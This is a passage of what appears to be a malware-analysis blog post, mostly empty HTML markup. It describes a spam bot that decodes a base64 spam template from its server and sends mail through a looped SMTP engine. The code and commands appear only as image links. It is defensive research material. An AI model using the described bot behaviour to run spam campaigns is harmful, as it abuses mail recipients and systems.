&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;All the preceding data from the server is base64 encoded. After decoding the response from the server, we found following spam template:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibOfOjBVU2SmmMvz8bFHr_4h6AKsjWaymnDeZgp2GD9y7UVPEVZyEwn5TURGgMmljKAQbZ4tGh2UIzqn88-Q7PiFGAa9Id_eAOwt1gOXAn3BN93fjocEzXohyT_PNOj0LfpdRd6chMbOs/s1600/spam_template.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibOfOjBVU2SmmMvz8bFHr_4h6AKsjWaymnDeZgp2GD9y7UVPEVZyEwn5TURGgMmljKAQbZ4tGh2UIzqn88-Q7PiFGAa9Id_eAOwt1gOXAn3BN93fjocEzXohyT_PNOj0LfpdRd6chMbOs/s320/spam_template.PNG&quot; height=&quot;207&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Once the bot client decodes this data, it uses the following looped SMTP engine code to send spam mails based on the spam template.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg54hGU0x9VRxrtiOXHLfaZDvnMNLGIojWA5KthKh_pkCZGAQkdj-452EcxBEFXukFEpgtyx6WVsJkR2opOcSJ51SALirJE0ldO9JD_3-mGL8yiGF9RvEd4f0YUXugRS04EiXCI2bl7K6Y/s1600/unpack_12.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg54hGU0x9VRxrtiOXHLfaZDvnMNLGIojWA5KthKh_pkCZGAQkdj-452EcxBEFXukFEpgtyx6WVsJkR2opOcSJ51SALirJE0ldO9JD_3-mGL8yiGF9RvEd4f0YUXugRS04EiXCI2bl7K6Y/s320/unpack_12.PNG&quot; height=&quot;320&quot; width=&quot;299&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6ndyPtkcTJCeYm-voNXaUpJsZht2qULZfdYrMKdY8KfWzKol_ysbi75wGXewfoJSjN_zUXanHOgoXLFa6pLbXL1K2GvgIqy0L7iYZ694KoXPJtRK2hlCvpE74ntOa6hpPXOW15zWO35c/s1600/unpack_13.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6ndyPtkcTJCeYm-voNXaUpJsZht2qULZfdYrMKdY8KfWzKol_ysbi75wGXewfoJSjN_zUXanHOgoXLFa6pLbXL1K2GvgIqy0L7iYZ694KoXPJtRK2hlCvpE74ntOa6hpPXOW15zWO35c/s320/unpack_13.PNG&quot; height=&quot;89&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;Below is one of the spam mails generated by this bot&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5gaK6C6g_wiOPlpuydGw_dHVtt0NhpP5zi3BQBnPHfSlwI39fliVONertKvxROl2fKOPN8WMkjM09ZBtI2TYwAQWMHjsEFeR0AFicCvHWXkQZLqCjro3jNhRAMtnvoZaz0dIcTI1O40/s1600/unpack_14.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5gaK6C6g_wiOPlpuydGw_dHVtt0NhpP5zi3BQBnPHfSlwI39fliVONertKvxROl2fKOPN8WMkjM09ZBtI2TYwAQWMHjsEFeR0AFicCvHWXkQZLqCjro3jNhRAMtnvoZaz0dIcTI1O40/s320/unpack_14.PNG&quot; height=&quot;135&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;More Uncovered Commands&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZPn68ZfbvhM_TzB6ggFQ4oLHF8iYuh4L0xIC18k9ovA4kPwc0lYCd9IU24JMaacuu6WsDiQozrIJfYtuuLGGlIv-UMbwF27oRbmbSRPHpOPS-ZMJyU-G0elsogLurAsUOsv92tcW8mKY/s1600/unpack_15.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZPn68ZfbvhM_TzB6ggFQ4oLHF8iYuh4L0xIC18k9ovA4kPwc0lYCd9IU24JMaacuu6WsDiQozrIJfYtuuLGGlIv-UMbwF27oRbmbSRPHpOPS-ZMJyU-G0elsogLurAsUOsv92tcW8mKY/s320/unpack_15.PNG&quot; height=&quot;282&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;strong style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
